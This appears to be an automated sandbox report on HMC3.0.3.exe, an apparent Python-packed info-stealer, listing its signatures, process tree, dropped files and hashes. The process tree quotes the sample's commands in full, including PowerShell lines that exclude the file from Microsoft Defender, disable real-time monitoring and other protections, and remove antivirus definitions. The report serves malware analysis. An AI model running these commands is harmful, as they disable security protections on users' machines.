Analysis

  • max time kernel
    149s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    22/06/2026, 14:35

General

  • Target
    HMC3.0.3.exe
  • Size 6.9MB
  • Sample260622-rydfaac16m
  • SHA256 f54e3c3bae2620456d276c142ea433c62cb2ccfb4b50823e150bb167b823ba22
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Loads dropped DLL 16 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • UPX packed file 60 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 45 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\HMC3.0.3.exe
    "C:\Users\Admin\AppData\Local\Temp\HMC3.0.3.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4900
    • C:\Users\Admin\AppData\Local\Temp\HMC3.0.3.exe
      "C:\Users\Admin\AppData\Local\Temp\HMC3.0.3.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:4808
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HMC3.0.3.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5080
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HMC3.0.3.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1736
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4740
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2864
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4552
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:1788
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:116
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic csproduct get uuid
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:568

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 d0cc04ed0b546b1d7f405da38b5c1addd1fbc26591027e76b9745a9c1daf584e
        • MD5 SHA1 SHA512 TLSH

        VCRUNTIME140.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI49002\VCRUNTIME140.dll
        • Size 96KB
        • SHA256 d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _bz2.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI49002\_bz2.pyd
        • Size 46KB
        • SHA256 df1e666b55aae6ede59ef672d173bd0d64ef3e824a64918e081082b8626a5861
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _ctypes.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI49002\_ctypes.pyd
        • Size 57KB
        • SHA256 cd31af70cbcfe81b01a75ebeb2de86079f4cbe767b75c3b5799ef8b9f0392d65
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _decimal.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI49002\_decimal.pyd
        • Size 104KB
        • SHA256 f90efa10d90d940cde48aafe02c13a0fc0a1f0be7f3714856b7a1435f5decf29
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _hashlib.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI49002\_hashlib.pyd
        • Size 33KB
        • SHA256 54348cfbf95fd818d74014c16343d9134282d2cf238329eec2cda1e2591565ec
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _lzma.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI49002\_lzma.pyd
        • Size 84KB
        • SHA256 1549fe64b710818950aa9bf45d43fe278ce59f3b87b3497d2106ff793efa6cf7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _queue.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI49002\_queue.pyd
        • Size 24KB
        • SHA256 699c1f0f0387511ef543c0df7ef81a13a1cffde4ce4cd43a1baf47a893b99163
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _socket.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI49002\_socket.pyd
        • Size 41KB
        • SHA256 a0fa25eef91825797f01754b7d7cf5106e355cf21322e926632f90af01280abe
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _sqlite3.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI49002\_sqlite3.pyd
        • Size 54KB
        • SHA256 d6960f4426c09a12488eb457e62506c49a58d62a1cb16fbc3ae66b260453c2ed
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _ssl.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI49002\_ssl.pyd
        • Size 60KB
        • SHA256 a9b5f6c7a94fb6bfaf82024f906465ff39f9849e4a72a98a9b03fc07bf26da51
        • MD5 SHA1 SHA512 SSDEEP TLSH

        base_library.zip

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI49002\base_library.zip
        • Size 1.4MB
        • SHA256 f7f9c74afd50cc2af98ce020b046c567446c5fd06167263fde7b5c0700face6d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        blank.aes

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI49002\blank.aes
        • Size 96KB
        • SHA256 060e65b3f84d410a271af43a75e9b9998773f674f8525c063a3a664622581be4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        blank.aes

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI49002\blank.aes
        • Size 96KB
        • SHA256 e117393bd8419ce9153a204bf9c4f0adae4eab26d8310530b7efbec6d2b58353
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libcrypto-1_1.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI49002\libcrypto-1_1.dll
        • Size 1.1MB
        • SHA256 4dab915333d42f071fe466df5578fd98f38f9e0efa6d9355e9b4445ffa1ca914
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libffi-8.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI49002\libffi-8.dll
        • Size 24KB
        • SHA256 5c4a0d4910987a38a3cd31eae5f1c909029f7762d1a5faf4a2e2a7e9b1abab79
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libssl-1_1.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI49002\libssl-1_1.dll
        • Size 203KB
        • SHA256 60771fb23ee37b4414d364e6477490324f142a907308a691f3dd88dc25e38d6c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        python311.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI49002\python311.dll
        • Size 1.6MB
        • SHA256 72c24e1db1ba4df791720a93ca9502d77c3738eebf8b9092a5d82aa8d80121d0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        rar.exe

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI49002\rar.exe
        • Size 615KB
        • SHA256 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
        • MD5 SHA1 SHA512 SSDEEP TLSH

        rarreg.key

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI49002\rarreg.key
        • Size 456B
        • SHA256 58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211
        • MD5 SHA1 SHA512 TLSH

        select.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI49002\select.pyd
        • Size 24KB
        • SHA256 ddeade367bc15ea09d42b2733d88f092da5e880362eabe98d574bc91e03de30e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        sqlite3.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI49002\sqlite3.dll
        • Size 608KB
        • SHA256 a9dd0275131105df5611f31a9e6fbf27fd77d0a35d1a73a9f4941235fbc68bd7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        unicodedata.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI49002\unicodedata.pyd
        • Size 293KB
        • SHA256 5e2f1bbfe3743a81b00717011094798929a764f64037bedb7ea3d2ed6548eb87
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_pqimafgz.jcl.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pqimafgz.jcl.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/1736-89-0x0000020FD0140000-0x0000020FD0162000-memory.dmp

        memory/1736-80-0x0000020FD0180000-0x0000020FD0190000-memory.dmp

        memory/4808-76-0x00007FF8234F0000-0x00007FF8234FD000-memory.dmp

        memory/4808-105-0x00007FF815860000-0x00007FF815918000-memory.dmp

        memory/4808-70-0x00007FF815860000-0x00007FF815918000-memory.dmp

        memory/4808-71-0x00007FF815100000-0x00007FF815475000-memory.dmp

        memory/4808-69-0x00007FF81BCB0000-0x00007FF81BCDE000-memory.dmp

        memory/4808-68-0x00007FF815BD0000-0x00007FF8161B8000-memory.dmp

        memory/4808-64-0x00007FF8245C0000-0x00007FF8245CD000-memory.dmp

        memory/4808-60-0x00007FF815480000-0x00007FF8155F3000-memory.dmp

        memory/4808-75-0x00007FF823A70000-0x00007FF823A84000-memory.dmp

        memory/4808-78-0x00007FF8159F0000-0x00007FF815B0C000-memory.dmp

        memory/4808-74-0x00007FF823B30000-0x00007FF823B54000-memory.dmp

        memory/4808-81-0x00007FF820910000-0x00007FF820933000-memory.dmp

        memory/4808-58-0x00007FF820910000-0x00007FF820933000-memory.dmp

        memory/4808-79-0x00007FF823820000-0x00007FF82384D000-memory.dmp

        memory/4808-50-0x00007FF827700000-0x00007FF827719000-memory.dmp

        memory/4808-52-0x00007FF823820000-0x00007FF82384D000-memory.dmp

        memory/4808-46-0x00007FF823B30000-0x00007FF823B54000-memory.dmp

        memory/4808-48-0x00007FF82BED0000-0x00007FF82BEDF000-memory.dmp

        memory/4808-102-0x00007FF815480000-0x00007FF8155F3000-memory.dmp

        memory/4808-103-0x00007FF81BCE0000-0x00007FF81BCF9000-memory.dmp

        memory/4808-104-0x00007FF81BCB0000-0x00007FF81BCDE000-memory.dmp

        memory/4808-62-0x00007FF81BCE0000-0x00007FF81BCF9000-memory.dmp

        memory/4808-106-0x00007FF815100000-0x00007FF815475000-memory.dmp

        memory/4808-107-0x00007FF815BD0000-0x00007FF8161B8000-memory.dmp

        memory/4808-122-0x00007FF8159F0000-0x00007FF815B0C000-memory.dmp

        memory/4808-108-0x00007FF823B30000-0x00007FF823B54000-memory.dmp

        memory/4808-138-0x00007FF815BD0000-0x00007FF8161B8000-memory.dmp

        memory/4808-168-0x00007FF815BD0000-0x00007FF8161B8000-memory.dmp

        memory/4808-198-0x00007FF815BD0000-0x00007FF8161B8000-memory.dmp

        memory/4808-218-0x00007FF820910000-0x00007FF820933000-memory.dmp

        memory/4808-226-0x00007FF8159F0000-0x00007FF815B0C000-memory.dmp

        memory/4808-225-0x00007FF8234F0000-0x00007FF8234FD000-memory.dmp

        memory/4808-224-0x00007FF823A70000-0x00007FF823A84000-memory.dmp

        memory/4808-223-0x00007FF815860000-0x00007FF815918000-memory.dmp

        memory/4808-222-0x00007FF81BCB0000-0x00007FF81BCDE000-memory.dmp

        memory/4808-221-0x00007FF8245C0000-0x00007FF8245CD000-memory.dmp

        memory/4808-220-0x00007FF81BCE0000-0x00007FF81BCF9000-memory.dmp

        memory/4808-219-0x00007FF815480000-0x00007FF8155F3000-memory.dmp

        memory/4808-217-0x00007FF827700000-0x00007FF827719000-memory.dmp

        memory/4808-216-0x00007FF823820000-0x00007FF82384D000-memory.dmp

        memory/4808-215-0x00007FF815100000-0x00007FF815475000-memory.dmp

        memory/4808-214-0x00007FF823B30000-0x00007FF823B54000-memory.dmp

        memory/4808-213-0x00007FF82BED0000-0x00007FF82BEDF000-memory.dmp

        memory/4808-25-0x00007FF815BD0000-0x00007FF8161B8000-memory.dmp